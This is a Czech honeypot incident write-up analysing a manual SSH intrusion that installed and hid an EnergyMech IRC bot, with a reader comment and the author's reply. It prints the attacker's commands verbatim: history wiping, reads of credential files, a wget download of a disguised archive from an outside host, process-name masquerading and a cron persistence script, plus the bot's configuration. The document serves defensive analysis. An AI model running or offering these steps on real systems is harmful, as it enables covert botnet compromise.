Minulý týden jsme na našem honeypotu zachytili několik pokusů o napadení a zařazení do botnetu. Pro zajímavost chci tedy ukázat jeden případ, jak se hacker snažil zneužít systém, který měl záměrně triviální přihlašovací údaje. Na základě prodlev při psaní příkazů bylo poznat, že nešlo o automatický skript. Dotyčný se snažil nainstalovat a skrýt variantu IRC bota EnergyMech, který již dlouho patří do výbavy převážně script kiddies (dokonce se o něm takto zmiňuje Linux Documentation Project). Tuto konkrétní variantu zaznamenal VirusTotal již v roce 2007.
O co se tedy útočník snažil? V první řadě chtěl zamezit ukládání historie zadávaných příkazů přenastavením proměnných prostředí:
$ unset HISTORY HISTFILE HISTSAVE HISTZONE HISTLOG WATCH; \ > export HISTFILE=/dev/null; export HISTSIZE=0; \ > export HISTFILESIZE=0;unset HISTFILE; unset HISTSAVE; \ > unset REMOTEHOST; unset REMOTEUSER; unset HISTMOVE; \ > unset USERHOST; history -n; unset WATCH; export HISTFILE=/dev/null
Následně si vypsal základní informace o systému, existující domovské adresáře a nalogované uživatele:
$ cat /proc/cpuinfo $ cd /home $ ls -xa $ cd - $ uname -a $ w
Dále udělal několik testů zda již stroj není hacknutý a zda není nainstalován Parallels Plesk Panel (nebyl):
$ strings -a /usr/sbin/sshd | grep %s:%s -A2 -B2 $ cat /etc/psa/.psa.shadow $ history -c $ cat /etc/ssh/.sshd_auth
Sběr informací pokračoval následujícími příkazy (mimochodem je vidět, že zbytečně některé příkazy spouštěl vícekrát):
$ ps -aux $ cat /etc/passwd $ uname -a $ w $ last $ cd ~ $ ls -xa
Až nakonec přešel k samotné instalaci IRC bota. Ten stáhl do adresáře /dev/shm, kde je připojen virtuální souborový systém tmpfs (může do něj zapisovat každý uživatel). Stažený soubor pochopitelně nebyl obrázek, ale archiv (jméno souboru jsem změnil, abych předešel jeho zneužití):
$ cd /dev/shm/ $ ls -xa $ wget http://magic.ucoz.ae/XXX.jpg; tar xvf XXX.jpg;
Obsahem archivu byly následující soubory:
XXX/ XXX/autorun XXX/bash XXX/inst XXX/m.help XXX/pico XXX/r/ XXX/r/raway.e XXX/r/rinsult.e XXX/r/rkicks.e XXX/r/rnicks.e XXX/r/rpickup.e XXX/r/rsay.e XXX/r/rsignoff.e XXX/r/rtsay.e XXX/r/rversions.e XXX/run XXX/start XXX/update XXX/xh
Dalšími příkazy smazal ze skriptů znak carriage return, zamaskoval hlavní binární soubor přejmenováním na sshd:, aby nebyl nápadný mezi spuštěnými procesy a spustil hlavní skript s parametrem qq určujícím použitý IRC kanál:
$ rm -rf XXX.jpg $ cd XXX $ chmod +x * $ mv bash sshd: $ sed -i 's/\r//' start; sed -i 's/\r//' inst; sed -i 's/\r//' run $ ./start qq
Před odchodem ještě jednou zkontroloval /etc/passwd a smazal historii:
cat /etc/passwd history -c
Ze skriptů v archivu stojí za zmínku soubor autorun, který instaloval watchdog script do cronu:
#!/bin/sh pwd > mech.dir dir=$(cat mech.dir) echo "* * * * * $dir/update >/dev/null 2>&1" > cron.d crontab cron.d crontab -l | grep update echo "#!/bin/sh if test -r $dir/m.pid; then pid=\$(cat $dir/m.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1) then exit 0 fi fi cd $dir ./run &>/dev/null" > update chmod u+x update
Dále je důležitý také generátor konfigurace inst, který vybral pro bota náhodné jméno a vytvořil soubor m.set s konfigurací pro každou síťovou adresu systému (pro ukázku zde 192.168.1.1) a soubor s příslušným operátorem bota (192.168.1.1.user):
$ cat m.set SERVER 208.83.20.130 6667 SERVER budapest.hu.eu.undernet.org 7000 SERVER budapest.hu.eu.undernet.org 6666 SERVER zurich.ch.eu.undernet.org 7000 SERVER mesa.az.us.undernet.org 7000 ENTITY 192.168.1.1 ### BOT 1 ### NICK Irina USERFILE 192.168.1.1.user CMDCHAR . LOGIN Peter IRCNAME Olga MODES +iwsx HASONOTICE VIRTUAL 192.168.1.1 TOG CC 1 TOG CLOAK 1 TOG SPY 1 SET OPMODES 6 SET BANMODES 6 CHANNEL #qq TOG PUB 1 TOG MASS 1 TOG SHIT 1 TOG PROT 1 TOG ENFM 0 SET MKL 7 SET MBL 7 SET MPL
$ cat 192.168.1.1.user handle * mask *!*@MagicX.users.undernet.org prot 4 aop 1 channel * access 100
Jak je vidět z konfigurace, bot se připojoval na servery sítě Undernet. Když jsem v izolovaném prostředí bota spustil, byl automaticky sítí Undernet odpojován s hlášením:
Infected with a virus or trojan, please clean your system. Cleaner @ http://www.moosoft.com (P227)
V tomto případě jsou tedy skutečné oběti chráněny provozovatelem Undernet serverů a lze jen hádat, jak by útočník napadený stroj dále využíval.
Z hlediska bezpečnosti mě potěšil fakt, že hned příští den přišlo našemu bezpečnostnímu týmu CZ.NIC-CSIRT varování od organizace Shadowserver o mém pokusu připojit se se zmíněnou konfigurací. Tato organizace zdarma monitoruje autonomní systémy a hlásí zjištěné incidenty. Pokud tedy spravujete síť, vřele doporučuji tyto reporty odebírat. Na stejném webu najdete také doporučení, jak botnet detekovat.
Jiří Machálek
Zdravim, dobre by bylo uvest i info o utocnikovi… jestli pouzival nejaky redirect, nebo z nejakeho verejneho mista atd. dekuji
Díky za připomínku. Pro doplnění tedy: připojoval se z nizozemské IP 95.211.187.210, zda to byla jen proxy pochopitelně nevím. Jeho SSH klient se identifikoval jako SSH-2.0-PuTTY_Release_0.62 a na serveru strávil celkem 3 minuty.